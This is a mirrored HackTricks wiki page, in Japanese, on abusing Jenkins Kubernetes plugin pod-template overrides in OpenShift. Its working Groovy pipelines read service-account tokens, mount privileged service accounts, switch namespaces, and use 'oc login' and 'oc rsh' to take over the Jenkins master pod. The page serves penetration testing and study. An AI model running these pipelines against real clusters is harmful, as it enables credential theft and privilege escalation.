mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-07 02:03:45 -08:00
267 lines
7.4 KiB
Markdown
267 lines
7.4 KiB
Markdown
# Jenkins in Openshift - build pod overrides
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
**このページの元の著者は** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||
|
||
## Kubernetes plugin for Jenkins
|
||
このプラグインは、openshift/kubernetes クラスター内の Jenkins コア機能を主に担当しています。公式ドキュメントは [here](https://plugins.jenkins.io/kubernetes/) です。
|
||
開発者が jenkins ビルドポッドのデフォルト設定をオーバーライドする機能など、いくつかの機能を提供します。
|
||
|
||
## Core functionnality
|
||
|
||
このプラグインは、適切な環境でコードをビルドする際に、開発者に柔軟性を提供します。
|
||
```groovy
|
||
podTemplate(yaml: '''
|
||
apiVersion: v1
|
||
kind: Pod
|
||
spec:
|
||
containers:
|
||
- name: maven
|
||
image: maven:3.8.1-jdk-8
|
||
command:
|
||
- sleep
|
||
args:
|
||
- 99d
|
||
''') {
|
||
node(POD_LABEL) {
|
||
stage('Get a Maven project') {
|
||
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
|
||
container('maven') {
|
||
stage('Build a Maven project') {
|
||
sh 'mvn -B -ntp clean install'
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
## 一部のポッド YAML オーバーライドを利用した悪用
|
||
|
||
ただし、Kali Linux のようなアクセス可能なイメージを使用し、そのイメージにプリインストールされたツールを使用して任意のコマンドを実行するために悪用される可能性があります。
|
||
以下の例では、実行中のポッドの serviceaccount トークンを抽出できます。
|
||
```groovy
|
||
podTemplate(yaml: '''
|
||
apiVersion: v1
|
||
kind: Pod
|
||
spec:
|
||
containers:
|
||
- name: kali
|
||
image: myregistry/mykali_image:1.0
|
||
command:
|
||
- sleep
|
||
args:
|
||
- 1d
|
||
''') {
|
||
node(POD_LABEL) {
|
||
stage('Evil build') {
|
||
container('kali') {
|
||
stage('Extract openshift token') {
|
||
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
異なる構文で同じ目標を達成する。
|
||
```groovy
|
||
pipeline {
|
||
stages {
|
||
stage('Process pipeline') {
|
||
agent {
|
||
kubernetes {
|
||
yaml """
|
||
spec:
|
||
containers:
|
||
- name: kali-container
|
||
image: myregistry/mykali_image:1.0
|
||
imagePullPolicy: IfNotPresent
|
||
command:
|
||
- sleep
|
||
args:
|
||
- 1d
|
||
"""
|
||
}
|
||
}
|
||
stages {
|
||
stage('Say hello') {
|
||
steps {
|
||
echo 'Hello from a docker container'
|
||
sh 'env'
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
ポッドの名前空間をオーバーライドするサンプル
|
||
```groovy
|
||
pipeline {
|
||
stages {
|
||
stage('Process pipeline') {
|
||
agent {
|
||
kubernetes {
|
||
yaml """
|
||
metadata:
|
||
namespace: RANDOM-NAMESPACE
|
||
spec:
|
||
containers:
|
||
- name: kali-container
|
||
image: myregistry/mykali_image:1.0
|
||
imagePullPolicy: IfNotPresent
|
||
command:
|
||
- sleep
|
||
args:
|
||
- 1d
|
||
"""
|
||
}
|
||
}
|
||
stages {
|
||
stage('Say hello') {
|
||
steps {
|
||
echo 'Hello from a docker container'
|
||
sh 'env'
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
別の例として、名前に基づいてサービスアカウントをマウントしようとするものがあります(これは、ビルドを実行しているデフォルトのものよりも多くの権限を持っている可能性があります)。最初に既存のサービスアカウントを推測または列挙する必要があるかもしれません。
|
||
```groovy
|
||
pipeline {
|
||
stages {
|
||
stage('Process pipeline') {
|
||
agent {
|
||
kubernetes {
|
||
yaml """
|
||
spec:
|
||
serviceAccount: MY_SERVICE_ACCOUNT
|
||
containers:
|
||
- name: kali-container
|
||
image: myregistry/mykali_image:1.0
|
||
imagePullPolicy: IfNotPresent
|
||
command:
|
||
- sleep
|
||
args:
|
||
- 1d
|
||
"""
|
||
}
|
||
}
|
||
stages {
|
||
stage('Say hello') {
|
||
steps {
|
||
echo 'Hello from a docker container'
|
||
sh 'env'
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
同じ技術は、Secretをマウントしようとすることにも適用されます。ここでの最終目標は、ポッドビルドを効果的にピボットまたは権限を取得する方法を見つけることです。
|
||
|
||
## さらに進む
|
||
|
||
これに慣れてきたら、JenkinsとKubernetes/Openshiftに関する知識を使って、誤設定や悪用を見つけてください。
|
||
|
||
次の質問を自問してください:
|
||
|
||
- ビルドポッドをデプロイするために使用されているサービスアカウントはどれですか?
|
||
- それにはどのような役割と権限がありますか?現在いる名前空間のシークレットを読み取ることができますか?
|
||
- 他のビルドポッドをさらに列挙できますか?
|
||
- 侵害されたsaから、マスターノード/ポッドでコマンドを実行できますか?
|
||
- クラスターをさらに列挙して他の場所にピボットできますか?
|
||
- どのSCCが適用されていますか?
|
||
|
||
どのoc/kubectlコマンドを発行するかは[こちら](../openshift-basic-information.md)と[こちら](../../kubernetes-security/kubernetes-enumeration.md)で確認できます。
|
||
|
||
### 可能な権限昇格/ピボットシナリオ
|
||
|
||
評価中に、すべてのjenkinsビルドが_worker-ns_という名前空間内で実行されていることがわかったと仮定しましょう。ビルドポッドには_default-sa_というデフォルトのサービスアカウントがマウントされていることがわかりましたが、いくつかのリソースに対する読み取りアクセスを除いてそれほど多くの権限はありませんでしたが、_master-sa_という既存のサービスアカウントを特定することができました。
|
||
また、実行中のビルドコンテナ内にocコマンドがインストールされていると仮定しましょう。
|
||
|
||
以下のビルドスクリプトを使用すると、_master-sa_サービスアカウントを制御し、さらに列挙することができます。
|
||
```groovy
|
||
pipeline {
|
||
stages {
|
||
stage('Process pipeline') {
|
||
agent {
|
||
kubernetes {
|
||
yaml """
|
||
spec:
|
||
serviceAccount: master-sa
|
||
containers:
|
||
- name: evil
|
||
image: random_image:1.0
|
||
imagePullPolicy: IfNotPresent
|
||
command:
|
||
- sleep
|
||
args:
|
||
- 1d
|
||
"""
|
||
}
|
||
}
|
||
stages {
|
||
stage('Say hello') {
|
||
steps {
|
||
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
|
||
sh 'oc --token=$token whoami'
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
アクセスに応じて、ビルドスクリプトから攻撃を続ける必要があるか、実行中のクラスターでこのsaとして直接ログインできます:
|
||
```bash
|
||
oc login --token=$token --server=https://apiserver.com:port
|
||
```
|
||
この sa に十分な権限(pod/exec など)がある場合、同じ名前空間内で実行されているマスターノードポッド内でコマンドを実行することにより、Jenkins インスタンス全体を制御することもできます。このポッドは、その名前と Jenkins データを保存するために使用される PVC(永続ボリュームクレーム)をマウントしている必要があるため、簡単に特定できます。
|
||
```bash
|
||
oc rsh pod_name -c container_name
|
||
```
|
||
マスターノードポッドがワーカーと同じ名前空間内で実行されていない場合、マスターネームスペースをターゲットにして同様の攻撃を試みることができます。これを _jenkins-master_ と呼ぶと仮定します。serviceAccount master-sa が _jenkins-master_ 名前空間に存在する必要があることを忘れないでください(おそらく _worker-ns_ 名前空間には存在しません)。
|
||
```groovy
|
||
pipeline {
|
||
stages {
|
||
stage('Process pipeline') {
|
||
agent {
|
||
kubernetes {
|
||
yaml """
|
||
metadata:
|
||
namespace: jenkins-master
|
||
spec:
|
||
serviceAccount: master-sa
|
||
containers:
|
||
- name: evil-build
|
||
image: myregistry/mykali_image:1.0
|
||
imagePullPolicy: IfNotPresent
|
||
command:
|
||
- sleep
|
||
args:
|
||
- 1d
|
||
"""
|
||
}
|
||
}
|
||
stages {
|
||
stage('Say hello') {
|
||
steps {
|
||
echo 'Hello from a docker container'
|
||
sh 'env'
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|